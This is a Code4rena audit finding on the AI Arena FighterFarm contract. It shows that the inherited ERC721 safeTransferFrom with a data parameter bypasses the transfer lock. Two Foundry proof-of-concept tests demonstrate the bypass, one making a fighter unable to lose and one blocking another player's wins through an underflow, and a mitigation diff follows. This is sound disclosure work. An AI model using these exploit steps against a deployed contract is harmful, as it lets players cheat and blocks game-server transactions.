A locked fighter can be transferred; leads to game server unable to commit transactions, and unstoppable fighters

criticalCode4rena

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/FighterFarm.sol#L338-L348 https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/FighterFarm.sol#L355-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/RankedBattle.sol#L486 https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/StakeAtRisk.sol#L104

Vulnerability details

Impact

FighterFarm contract implements restrictions on transferability of fighters in functions transferFrom() and safeTransferFrom(), via the call to function _ableToTransfer(). Unfortunately this approach doesn't cover all possible ways to transfer a fighter: The FighterFarm contract inherits from OpenZeppelin's ERC721 contract, which includes the public function safeTransferFrom(..., data), i.e. the same as safeTransferFrom() but with the additional data parameter. This inherited function becomes available in the GameItems contract, and calling it allows to circumvent the transferability restriction. As a result, a player will be able to transfer any of their fighters, irrespective of whether they are locked or not. Violation of such a basic system invariant leads to various kinds of impacts, including:

• The game server won't be able to commit some transactions;
• The transferred fighter becomes unstoppable (a transaction in which it loses can't be committed);
• The transferred fighter may be used as a "poison pill" to spoil another player, and prevent it from leaving the losing zone (a transaction in which it wins can't be committed).

Both of the last two impacts include the inability of the game server to commit certain transactions, so we illustrate both of the last two with PoCs, thus illustrating the first one as well.

Impact 1: a fighter becomes unstoppable, game server unable to commit

If a fighter wins a battle, points are added to accumulatedPointsPerAddress mapping. When a fighter loses a battle, the reverse happens: points are subtracted. If a fighter is transferred after it wins the battle to another address, accumulatedPointsPerAddress for the new address is empty, and thus the points can't be subtracted: the game server transaction will be reverted. By transferring the fighter to a new address after each battle, the fighter becomes unstoppable, as its accumulated points will only grow, and will never decrease.

Impact 2: another fighter can't win, game server unable to commit

If a fighter loses a battle, funds are transferred from the amount at stake, to the stake-at risk, which is reflected in the amountLost mapping of StakeAtRisk contract. If the fighter with stake-at-risk is transferred to another player, the invariant that amountLost reflects the lost amount per address is violated: after the transfer the second player has more stake-at-risk than before. A particular way to exploit this violation is demonstrated below: the transferred fighter may win a battle, which leads to reducing amountLost by the corresponding amount. Upon subsequent wins of the second player own fighters, this operation will underflow, leading to the game server unable to commit transactions, and the player unable to exit the losing zone. This effectively makes a fighter with the stake-at-risk a "poison pill".

Proof of Concept

Impact 1: a fighter becomes unstoppable, game server unable to commit

diff📋
diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..dfaaad4 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,31 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+   /// @notice An exploit demonstrating that it's possible to transfer a staked fighter, and make it immortal!
+    function testExploitTransferStakedFighterAndPlay() public {
+        address player = vm.addr(3);
+        address otherPlayer = vm.addr(4);
+        _mintFromMergingPool(player);
+        uint8 tokenId = 0;
+        _fundUserWith4kNeuronByTreasury(player);
+        vm.prank(player);
+        _rankedBattleContract.stakeNRN(1 * 10 ** 18, tokenId);
+        // The fighter wins one battle
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+        // The player transfers the fighter to other player
+        vm.prank(address(player));
+        _fighterFarmContract.safeTransferFrom(player, otherPlayer, tokenId, "");
+        assertEq(_fighterFarmContract.ownerOf(tokenId), otherPlayer);
+        // The fighter can't lose
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        vm.expectRevert();
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, true);
+        // The fighter can only win: it's unstoppable!
+        vm.prank(address(_GAME_SERVER_ADDRESS));
+        _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+    }
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Place the PoC into test/RankedBattle.t.sol, and execute with

forge test --match-test testExploitTransferStakedFighterAndPlay

Impact 2: another fighter can't win, game server unable to commit

diff📋
diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..196e3a0 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,62 @@ contract RankedBattleTest is Test {
         assertEq(unclaimedNRN, 5000 * 10 ** 18);
     }
 
+/// @notice Prepare two players and two fighters
+function preparePlayersAndFighters() public returns (address, address, uint8, uint8) {
+    address player1 = vm.addr(3);
+    _mintFromMergingPool(player1);
+    uint8 fighter1 = 0;
+    _fundUserWith4kNeuronByTreasury(player1);
+    address player2 = vm.addr(4);
+    _mintFromMergingPool(player2);
+    uint8 fighter2 = 1;
+    _fundUserWith4kNeuronByTreasury(player2);
+    return (player1, player2, fighter1, fighter2);
+}
+
+/// @notice An exploit demonstrating that it's possible to transfer a fighter with funds at stake
+/// @notice After transferring the fighter, it wins the battle, 
+/// @notice and the second player can't exit from the stake-at-risk zone anymore.
+function testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer() public {
+    (address player1, address player2, uint8 fighter1, uint8 fighter2) = 
+        preparePlayersAndFighters();
+    vm.prank(player1);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter1);        
+    vm.prank(player2);
+    _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter2);        
+    // Fighter1 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 999 * 10 ** 18);
+    // Fighter2 loses a battle
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter2), 999 * 10 ** 18);
+
+    // On the game server, player1 initiates a battle with fighter1,
+    // then unstakes all remaining stake from fighter1, and transfers it
+    vm.prank(address(player1));
+    _rankedBattleContract.unstakeNRN(999 * 10 ** 18, fighter1);
+    vm.prank(address(player1));
+    _fighterFarmContract.safeTransferFrom(player1, player2, fighter1, "");
+    assertEq(_fighterFarmContract.ownerOf(fighter1), player2);
+    // Fighter1 wins a battle, and part of its stake-at-risk is derisked.
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter1, 0, 0, 1500, true);
+    assertEq(_rankedBattleContract.amountStaked(fighter1), 1 * 10 ** 15);
+    // Fighter2 wins a battle, but the records can't be updated, due to underflow!
+    vm.expectRevert();
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 0, 1500, true);
+    // Fighter2 can't ever exit from the losing zone in this round, but can lose battles
+    vm.prank(address(_GAME_SERVER_ADDRESS));
+    _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+    (uint32 wins, uint32 ties, uint32 losses) = _rankedBattleContract.getBattleRecord(fighter2);
+    assertEq(wins, 0);
+    assertEq(ties, 0);
+    assertEq(losses, 2);
+}
+
     /*//////////////////////////////////////////////////////////////
                                HELPERS
     //////////////////////////////////////////////////////////////*/

Place the PoC into test/RankedBattle.t.sol, and execute with

forge test --match-test testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer

Tools Used

Manual code review

Recommended Mitigation Steps

We recommend to remove the incomplete checks in the inherited functions transferFrom() and safeTransferFrom() of FighterFarm contract, and instead to enforce the transferability restriction via the _beforeTokenTransfer() hook, which applies equally to all token transfers, as illustrated below.

diff📋
diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..9f9ac54 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -330,40 +330,6 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         );
     }
 
-    /// @notice Transfer NFT ownership from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function transferFrom(
-        address from, 
-        address to, 
-        uint256 tokenId
-    ) 
-        public 
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _transfer(from, to, tokenId);
-    }
-
-    /// @notice Safely transfers an NFT from one address to another.
-    /// @dev Add a custom check for an ability to transfer the fighter.
-    /// @param from Address of the current owner.
-    /// @param to Address of the new owner.
-    /// @param tokenId ID of the fighter being transferred.
-    function safeTransferFrom(
-        address from, 
-        address to, 
-        uint256 tokenId
-    ) 
-        public 
-        override(ERC721, IERC721)
-    {
-        require(_ableToTransfer(tokenId, to));
-        _safeTransfer(from, to, tokenId, "");
-    }
-
     /// @notice Rolls a new fighter with random traits.
     /// @param tokenId ID of the fighter being re-rolled.
     /// @param fighterType The fighter type.
@@ -448,7 +414,9 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         internal
         override(ERC721, ERC721Enumerable)
     {
-        super._beforeTokenTransfer(from, to, tokenId);
+        if(from != address(0) && to != address(0))
+            require(_ableToTransfer(tokenId, to));
+        super._beforeTokenTransfer(from, to , tokenId);
     }
 
     /*//////////////////////////////////////////////////////////////

Assessed type

ERC721